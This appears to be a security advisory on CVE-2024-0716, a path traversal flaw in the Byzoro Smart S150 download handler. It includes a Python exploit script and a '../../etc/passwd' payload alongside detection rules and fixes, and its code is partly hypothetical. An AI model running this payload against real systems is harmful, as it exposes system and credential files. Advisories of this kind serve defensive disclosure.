CVE-2024-0716

Executive Summary

CVE-2024-0716 is a problematic information disclosure vulnerability in the Byzoro Smart S150 Management Platform, specifically version V31R02B15. The flaw resides in the /log/download.php file, which acts as a Backup File Handler. An attacker can remotely exploit this vulnerability to gain unauthorized access to sensitive information, such as backup logs or configuration files. The attack complexity is high, requiring specific conditions or knowledge, but the exploit has been publicly disclosed, increasing the risk of targeted attacks. The vendor has not responded to disclosure attempts, leaving the product unpatched.

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It affects a proprietary embedded management platform.

CVSS Breakdown & Threat Level

• CVSS Score: 3.1 (Low)
• Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N
• Attack Vector (AV): Network (N) – Exploitable remotely.
• Attack Complexity (AC): High (H) – Requires specific conditions or knowledge.
• Privileges Required (PR): None (N) – No authentication needed.
• User Interaction (UI): None (N) – No user action required.
• Scope (S): Unchanged (U) – Impact confined to the vulnerable component.
• Confidentiality (C): Low (L) – Limited information disclosure.
• Integrity (I): None (N) – No data modification.
• Availability (A): None (N) – No denial of service.

Threat Level: Low. The high attack complexity and low impact reduce immediate risk, but public exploit code increases the threat for targeted environments.

Deep Dive & Mechanics

The vulnerability exists in the /log/download.php script, which is part of the backup functionality. The script likely accepts a file path or name parameter without proper validation or authentication. An attacker can manipulate this parameter to download arbitrary files from the server, such as system logs, configuration files, or backup archives. The high attack complexity may stem from the need to guess file paths or bypass weak access controls.

Root Cause: Lack of input validation and missing authentication checks in the download handler.

Attack Flow:

1. Identify the target Byzoro Smart S150 Management Platform.
2. Send a crafted HTTP GET request to /log/download.php with a malicious file parameter (e.g., ?file=../../etc/passwd).
3. The server responds with the contents of the requested file, leading to information disclosure.

Vulnerable vs. Patched Code

Since no patch is available, we can only analyze the vulnerable code pattern.

Vulnerable Code (Hypothetical):

<?php
$file = $_GET['file'];
$path = "/var/log/" . $file;
if (file_exists($path)) {
    header('Content-Type: application/octet-stream');
    readfile($path);
}
?>

Patched Code (Hypothetical):

<?php
$allowed_files = ['backup1.log', 'backup2.log'];
$file = basename($_GET['file']);
if (in_array($file, $allowed_files) && file_exists("/var/log/" . $file)) {
    header('Content-Type: application/octet-stream');
    readfile("/var/log/" . $file);
} else {
    http_response_code(403);
    echo "Access denied.";
}
?>

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• Python 3.x with requests library.
• Target IP of Byzoro Smart S150 Management Platform.

Exploit Script:

import requests

target = "http://<TARGET_IP>"
payload = "/log/download.php?file=../../etc/passwd"

try:
    response = requests.get(target + payload, timeout=10)
    if response.status_code == 200 and "root:" in response.text:
        print("[+] Exploit successful! File contents:")
        print(response.text)
    else:
        print("[-] Exploit failed or file not accessible.")
except Exception as e:
    print(f"[-] Error: {e}")

Usage:

1. Replace <TARGET_IP> with the actual IP address.
2. Run the script: python3 exploit.py
3. If successful, the contents of /etc/passwd will be displayed.

Blue Team (Defensive)

Detection Steps:

1. Monitor web server logs for requests to /log/download.php with suspicious file parameters (e.g., containing ../).
2. Implement a Web Application Firewall (WAF) rule to block path traversal patterns.
3. Restrict access to /log/download.php to authorized IPs only.

Honeypot Setup:

• Deploy a fake /log/download.php that logs all requests and alerts on suspicious activity.

Indicators of Compromise (IOCs)

• Network IOCs:
  • HTTP GET requests to /log/download.php with file parameter containing ../ or absolute paths.
  • Unusual outbound data transfers from the management platform.
• File IOCs:
  • Unexpected access to /etc/passwd, /etc/shadow, or configuration files.
• Log IOCs:
  • Web server logs showing repeated attempts to download files via /log/download.php.

Detection Engineering

YARA Rule

rule CVE_2024_0716_Byzoro_Info_Disclosure {
    meta:
        description = "Detects attempts to exploit CVE-2024-0716 in Byzoro Smart S150"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2024-0716"
    strings:
        $s1 = "/log/download.php" ascii wide nocase
        $s2 = "file=" ascii wide nocase
        $s3 = "../" ascii wide nocase
    condition:
        all of them
}

Sigma Rule

title: CVE-2024-0716 Byzoro Smart S150 Information Disclosure
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects HTTP requests targeting /log/download.php with path traversal patterns
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-uri-query|contains: "/log/download.php"
        cs-uri-query|contains: "file="
        cs-uri-query|contains: "../"
    condition: selection
falsepositives:
    - Legitimate backup file downloads (rare)
level: medium

Suricata Rule

alert http any any -> $HOME_NET any (
    msg:"CVE-2024-0716 Byzoro Smart S150 Information Disclosure Attempt";
    flow:to_server,established;
    content:"/log/download.php"; http_uri;
    content:"file="; http_uri;
    content:"../"; http_uri;
    classtype:attempted-recon;
    sid:1000001;
    rev:1;
)

Remediation & Mitigation

Immediate Actions:

1. Isolate the Device: If possible, disconnect the Byzoro Smart S150 from the network or place it behind a strict firewall.
2. Restrict Access: Use IP whitelisting to limit access to the management interface.
3. Monitor Logs: Enable detailed logging and alert on suspicious requests to /log/download.php.

Long-Term Fix:

• Since the vendor is unresponsive, consider replacing the device with a supported alternative.
• If replacement is not possible, implement a reverse proxy with WAF capabilities to filter malicious requests.

Workaround:

• Manually patch the /log/download.php file by adding authentication and input validation (if you have access to the filesystem).

Valters IT
Securing Digital Frontiers